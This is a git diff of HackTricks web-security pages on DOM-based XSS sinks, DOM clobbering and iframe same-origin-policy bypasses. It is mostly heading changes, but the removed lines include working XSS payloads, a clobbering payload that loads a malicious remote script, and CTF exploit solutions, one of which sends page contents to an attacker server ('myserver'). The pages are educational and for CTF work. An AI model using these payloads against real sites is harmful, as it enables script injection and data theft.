* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

View File

@ -1,23 +1,18 @@
# DOM XSS
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
# **DOM vulnerabilities**
## **DOM vulnerabilities**
> **Sources**
>
@ -90,23 +85,23 @@ The **`innerHTML`** sink doesn't accept `script` elements on any modern browser,
This kind of XSS is probably the **hardest to find**, as you need to look inside the JS code, see if it's **using** any object whose **value you control**, and in that case, see if there is **any way to abuse** it to execute arbitrary JS.
# Tools to find them
## Tools to find them
* [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
# Examples
## Examples
## Open Redirect
### Open Redirect
From: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
### How
#### How
DOM-based open-redirection vulnerabilities arise when a script writes **attacker-controllable data** into a **sink** that can trigger **cross-domain navigation**.
Remember that **if you can start the URL** were the victim is going to be **redirected**, you could execute **arbitrary code** like: **`javascript:alert(1)`**
### Sinks
#### Sinks
```
location
@ -126,30 +121,30 @@ jQuery.ajax()
$.ajax()
```
## Cookie manipulation
### Cookie manipulation
From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
### How
#### How
DOM-based cookie-manipulation vulnerabilities arise when a script writes **attacker-controllable data into the value of a cookie**.\
This could be abuse to make the page behaves on unexpected manner (if the cookie is used in the web) or to perform a [session fixation](../hacking-with-cookies/#session-fixation) attack (if the cookie is used to track the user's session).
### Sinks
#### Sinks
```
document.cookie
```
## JavaScript Injection
### JavaScript Injection
From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
### How
#### How
DOM-based JavaScript-injection vulnerabilities arise when a script executes **attacker-controllable data as JavaScript**.
### Sinks
#### Sinks
```
eval()
@ -164,44 +159,44 @@ range.createContextualFragment()
crypto.generateCRMFRequest()
```
## Document-domain manipulation
### Document-domain manipulation
From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
### How
#### How
Document-domain manipulation vulnerabilities arise when a script uses **attacker-controllable data to set** the **`document.domain`** property.
The `document.domain` property is used by browsers in their **enforcement** of the **same origin policy**. If **two pages** from **different** origins explicitly set the **same `document.domain`** value, then those two pages can **interact in unrestricted ways**.\
Browsers **generally enforce some restrictions** on the values that can be assigned to `document.domain`, and may prevent the use of completely different values than the actual origin of the page. **But this doesn't occur always** and they usually **allow to use child** or **parent** domains.
### Sinks
#### Sinks
```
document.domain
```
## WebSocket-URL poisoning
### WebSocket-URL poisoning
From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
### How
#### How
WebSocket-URL poisoning occurs when a script uses **controllable data as the target URL** of a WebSocket connection.
### Sinks
#### Sinks
The `WebSocket` constructor can lead to WebSocket-URL poisoning vulnerabilities.
## Link manipulation
### Link manipulation
From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
### How
#### How
DOM-based link-manipulation vulnerabilities arise when a script writes **attacker-controllable data to a navigation target** within the current page, such as a clickable link or the submission URL of a form.
### Sinks
#### Sinks
```
someDOMElement.href
@ -209,15 +204,15 @@ someDOMElement.src
someDOMElement.action
```
## Ajax request manipulation
### Ajax request manipulation
From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
### How
#### How
Ajax request manipulation vulnerabilities arise when a script writes **attacker-controllable data into the an Ajax request** that is issued using an `XmlHttpRequest` object.
### Sinks
#### Sinks
```
XMLHttpRequest.setRequestHeader()
@ -227,15 +222,15 @@ jQuery.globalEval()
$.globalEval()
```
## Local file-path manipulation
### Local file-path manipulation
From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
### How
#### How
Local file-path manipulation vulnerabilities arise when a script passes **attacker-controllable data to a file-handling API** as the `filename` parameter. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will cause the **user's browser to open/write an arbitrary local file**.
### Sinks
#### Sinks
```
FileReader.readAsArrayBuffer()
@ -247,60 +242,60 @@ FileReader.root.getFile()
FileReader.root.getFile()
```
## Client-Side SQl injection
### Client-Side SQl injection
From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
### How
#### How
Client-side SQL-injection vulnerabilities arise when a script incorporates **attacker-controllable data into a client-side SQL query in an unsafe way**.
### Sinks
#### Sinks
```
executeSql()
```
## HTML5-storage manipulation
### HTML5-storage manipulation
From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
### How
#### How
HTML5-storage manipulation vulnerabilities arise when a script **stores attacker-controllable data in the HTML5 storage** of the web browser (either `localStorage` or `sessionStorage`).\
This **behavior does not in itself constitute a security vulnerability**. However, if the application later **reads data back from storage and processes it in an unsafe way**, an attacker may be able to leverage the storage mechanism to deliver other DOM-based attacks, such as cross-site scripting and JavaScript injection.
### Sinks
#### Sinks
```
sessionStorage.setItem()
localStorage.setItem()
```
## XPath injection
### XPath injection
From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
### How
#### How
DOM-based XPath-injection vulnerabilities arise when a script incorporates **attacker-controllable data into an XPath query**.
### Sinks
#### Sinks
```
document.evaluate()
someDOMElement.evaluate()
```
## Client-side JSON injection
### Client-side JSON injection
From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
### How
#### How
DOM-based JSON-injection vulnerabilities arise when a script incorporates **attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application**.
### Sinks
#### Sinks
```
JSON.parse()
@ -308,28 +303,28 @@ jQuery.parseJSON()
$.parseJSON()
```
## Web-message manipulation
### Web-message manipulation
From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
### How
#### How
Web-message vulnerabilities arise when a script sends **attacker-controllable data as a web message to another document** within the browser.\
**Example** of vulnerable Web-message manipulation in [https://portswigger.net/web-security/dom-based/controlling-the-web-message-source](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source)
### Sinks
#### Sinks
The `postMessage()` method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
## DOM-data manipulation
### DOM-data manipulation
From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
### How
#### How
DOM-data manipulation vulnerabilities arise when a script writes **attacker-controllable data to a field within the DOM** that is used within the visible UI or client-side logic. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will modify the appearance or behaviour of the client-side UI.
### Sinks
#### Sinks
```
scriptElement.src
@ -356,89 +351,33 @@ history.pushState()
history.replaceState()
```
## Denial of Service
### Denial of Service
From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
### How
#### How
DOM-based denial-of-service vulnerabilities arise when a script passes **attacker-controllable data in an unsafe way to a problematic platform API**, such as an API whose invocation can cause the user's computer to consume **excessive amounts of CPU or disk space**. This may result in side effects if the browser restricts the functionality of the website, for example, by rejecting attempts to store data in `localStorage` or killing busy scripts.
### Sinks
#### Sinks
```
requestFileSystem()
RegExp()
```
# **DOM Clobbering**
## Dom Clobbering
A common pattern used by JavaScript developers is:
`var someObject = window.someObject || {};`
If you can control some of the HTML on the page, you can clobber the `someObject` reference with a DOM node, such as an anchor. Consider the following code:
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
To exploit this vulnerable code, you could inject the following HTML to clobber the `someObject` reference with an anchor element:
**`<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>`**
Injecting that data `window.someObject.url` is going to be `href=//malicious-website.com/malicious.js`
**Trick**: `DOMPurify` allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">` will make the HTML encoded `&quot;` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an `input` inside the form with `id=attributes` , you will **clobber the attributes property** and the sanitizer **won't** be able to go through the **real attributes**.
## Clobbering document object
According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
>
> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).
Using this technique you can overwrite commonly used values such as `document.cookie`, `document.body`, `document.children`, and even methods in the Document interface like `document.querySelector`.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
```
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

View File

@ -1,7 +1,5 @@
# Iframes in XSS, CSP and SOP
## Iframes in XSS, CSP and SOP
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
@ -144,180 +142,25 @@ The value of the `sandbox` attribute can either be empty (then all restrictions
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
## Iframes in SOP-1
## Iframes in SOP
In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded
Check the following pages:
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
```
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
Let's see the solution they propose.
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
### SOP bypass 1 (.origin === null)
When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
### SOP bypass 2
The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.
### Challenge Solution
Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
```html
<body>
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
```
## Iframes in SOP-2
In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) proposes a similar method to the previous section. Let's check it.
In this challenge the attacker needs to **bypass** this:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
If he does, he can send a **postmessage** with HTML content that is going to be written in the page with **`innerHTML`** without sanitation (**XSS**).
The way to bypass the **first check** is by making `window.calc.contentWindow` to `undefined` and `e.source` to `null`:
* **`window.calc.contentWindow`** is actually **`document.getElementById("calc")`**. You can clobber **`document.getElementById`** with **`<img name=getElementById />`** (note that Sanitizer API -[here](https://wicg.github.io/sanitizer-api/#dom-clobbering)- is not configured to protect against DOM clobbering attacks in its default state).
* Therefore, you can clobber **`document.getElementById("calc")`** with **`<img name=getElementById /><div id=calc></div>`**. Then, **`window.calc`** will be **`undefined`**.
* Now, we need **`e.source`** to be **`undefined`** or **`null`** (because `==` is used instead of `===`, **`null == undefined`** is **`True`**). Getting this is "easy". If you create an **iframe** and **send** a **postMessage** from it and immediately **remove** the iframe, **`e.origin`** is going to be **`null`**. Check the following code
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
In order to bypass the **second check** about token is by sending **`token`** with value `null` and making **`window.token`** value **`undefined`**:
* Sending `token` in the postMessage with value `null` is trivial.
* **`window.token`** in calling the function **`getCookie`** which uses **`document.cookie`**. Note that any access to **`document.cookie`** in **`null`** origin pages tigger an **error**. This will make **`window.token`** have **`undefined`** value.
The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
```
## Changing child iframes locations
According to [**this writeup**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**.\
This is specially useful in **postMessages** because if the parent page is sending sensitive data using a **wildcard** like `windowRef.postmessage("","*")` it's possible to **change the location of the iframe to an attacker controlled location** and steal that data.
## Winning RCs with Iframes
According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob documents created from null origins are isolated for security benefits, which means that if you maintain busy the main page, the iframe page is going to be executed.
Basically in that challenge an **isolated iframe is executed** and right **after** it's **loaded** the **parent** page is going to **send a post** message with the **flag**.\
However, that postmessage communication is **vulnerable to XSS** (the **iframe** can execute JS code).
Therefore, the goal of the attacker is to **let the parent create the iframe**, but **before** let the **parent** page **send** the sensitive data (**flag**) **keep it busy** and send the **payload to the iframe**. While the **parent is busy** the **iframe executes the payload** which will be some JS that will listen for the **parent postmessage message and leak the flag**.\
Finally, the iframe has executed the payload and the parent page stops being busy, so it sends the flag and the payload leaks it.
But how could you make the parent be **busy right after it generated the iframe and just while it's waiting for the iframe to be ready to send the sensitive data?** Basically, you need to find **async** **action** you could make the parent **execute**. For example, in that challenge the parent was **listening** to **postmessages** like this:
```javascript
window.addEventListener('message', (e) => {
if (e.data == 'blob loaded') {
$("#previewModal").modal();
}
});
```
so it was possible to send a **big integer in a postmessage** that will be **converted to string** in that comparison, which will take some time:
```bash
const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]);
```
And in order to be precise and **send** that **postmessage** just **after** the **iframe** is created but **before** it's **ready** to receive the data from the parent, you will need to **play with the miliseconds of a `setTimeout`**.
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
<details>